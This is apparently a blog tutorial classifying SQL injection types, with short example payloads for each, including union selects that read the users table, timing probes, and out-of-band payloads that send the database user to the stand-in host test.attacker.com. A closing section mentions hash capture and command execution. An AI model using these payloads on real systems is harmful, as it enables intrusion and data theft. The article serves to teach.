Types of SQL Injection

SQL Injection, also known as SQLi, is one of the most common vulnerabilities in web application.

πŸ”—Goal of the article

The goal of this article is not to explain what is an SQL injection or how they work but to show the different categories and types of SQLi.

So this article assumes you already know what is an SQL injection and how works a basic SQLi. If it's not the case you can read the Acunetix article about SQL injection.

πŸ”—In-band SQLi

In-band SQL Injection, also known as Classic SQLi, is the most common type of SQLi. This is also the easiest SQLi because this kind of attack occurs when the same communication channel is used to both launch the attack and gather results.

Typically in a vulnerable web application, the attacker will send his payload via a GET or POST HTTP request and the leaked data will be inserted into the page returned by the web server.

πŸ”—Error-based SQLi

Error-based SQL injection is an in-band SQLi technique that relies on error messages thrown by the database server to obtain information.

The attacker deliberately inject a payload that will result in a malformed SQL query to trigger an error from the database. With this error the attacker will obtain information about the structure of the database and sometimes will allow him to enumerate an entire database (dump). Once the attacker has knowledge about the database structure, he can forge a payload resulting into a valid SQL query in order to get the result.

This kind of SQLi relies on a bad configuration of the web server or of the web application, because showing errors is very useful during the development phase but errors displaying should be disabled on a production website or logged into a file with restricted access.

Related resources:

Example of payloads:

1
2
3
4
.php?id=3β€²
.php?id=3 order by 10
.php?id=3 order by 9
.php?id=3 order by 8

πŸ”—Union-based SQLi

Union-based SQL injection is an in-band SQLi technique that leverages the UNION SQL operator to combine the results of several SELECT statements into a single result.

The attacker is able to retrieve data by concatenating the result of the initial statement with the result of additional statements he can control.

Related resources:

Example of payloads:

1
2
3
4
.php?id=3 union select 1,2,3,4,5,6,7,8
.php?id=3 union select 1,2,3,version(),5,6,7,8
.php?id=3 union select 1,2,3,table_name,5,6,7,8 from information_schema.tables
.php?id=3 union select 1,2,3,column_name,5,6,7,8 from information_schema.columns where table_name=users

πŸ”—Inferential SQLi

Inferential SQL injection also known as Blind SQLi is an attack where no data is displayed in the web page unlike in in-band SQLi.

So the attacker can't directly see the result of his attack. The attacker can deduce and reconstruct the data by observing the web application's response and behavior.

πŸ”—Boolean-based Blind SQLi

Boolean-based Blind SQL injection also known as Content-based Blind SQLi is an inferential SQLi technique where the attacker is sending an SQL query to the database like for in-band SQLi, but instead of answering the result, the web application will return a different result depending on whether the query returns TRUE or FALSE.

Depending on the result of the query, the content within the HTTP response will change, or remain the same. For example, the normal page is shown when the query results in a TRUE and an error, a blank page, or another content when the query results in a FALSE.

The different behaviors of the web application allow the attacker to infer the result. The attacker can observe a difference between answers, the HTTP response status code, redirections, ...

This attacker is slower than in-band SQLi because the attacker needs to enumerate the data character by character.

Related resources:

Example of payloads:

1
2
SELECT substring(version(),1,1)=5
SELECT ascii(substring((SELECT message from log_table limit 0,1),1,1))=114

πŸ”—Time-based Blind SQLi

Time-based Blind SQL injection is an inferential SQLi technique where the attacker is sending an SQL query that forces the database to wait several seconds before responding.

The attacker infers if the result is TRUE or FALSE by observing if there is a delay or not from the server response.

This attack relies on SQL functions from different SQL dialects like ones that explicitly allow to wait a certain amount of time (ex: SLEEP() in MySQL, WAITFOR DELAY in MS SQL Server, pg_sleep() in PostgreSQL) or functions that trick the database to wait by using a time consuming command like benchmark() combined with encode() or md5() or some other heavy queries in some dialects.

This attacker is slower than in-band SQLi because the attacker needs to enumerate the data character by character.

Related resources:

Example of payloads:

1
2
SELECT IF(user() LIKE 'root@%', SLEEP(5), null)
SELECT IF(user() LIKE 'root@%', BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds')), null)

πŸ”—Out-of-band SQLi

Out-of-band SQL injection also known as OOB SQLi is a rare SQLi attack because it relies on features being enabled on the database that are disabled by default.

In opposition with in-band SQLi, out-of-band SQLi occurs when the attacker is unable to use the same channel to launch the attack and gather results.

OOB SQLi techniques can be more reliable than some inferential SQLi for example when there is an unstable or overloaded server, a big network latency, etc... that results into unreliable delay to execute a time-based SQLi. OOB SQLi techniques can also be quicker than inferential SQLi because the attacker is not forced to extract the content character by character but may be able to extract it chunk by chunk or entirely.

OOB SQLi often relies on the ability for the database server's ability to make DNS or HTTP requests to external resources (in this case controlled by the attacker) and sometimes even to send a mail or execute a system command. For example xp_dirtree command is an undocumented stored procedure to create folders in MS SQL Server that can be used to make DNS requests; UTL_HTTP package in Oracle database makes HTTP callouts from SQL and PL/SQL; SELECT … INTO OUTFILE and SELECT … INTO DUMPFILE statements in MySQL that can be used to log some results into local files or on shared file system.

Related resources:

Example of payloads:

1
2
products.aspx?id=1;EXEC master..xp_dirtree '\\test.attacker.com\' --
products.aspx?id=1||UTL_HTTP.request('http://test.attacker.com/'||(SELECT user FROM DUAL)) --

πŸ”—Bonus

LOAD DATA statement and load_file() function in MySQL work fine with UNC paths under Windows, this can be used to resolve a non-existing path and when DNS fails the request will be sent as an LLMNR, NetBIOS-NS query. By poisoning the LLMNR protocol the attacker can capture the NTLMv2 hash.

xp_cmdshell() function in MS SQL Server can lead to command execution on the system if enabled.


I'm not affiliated with Acunetix or other websites in any way.

Source

Share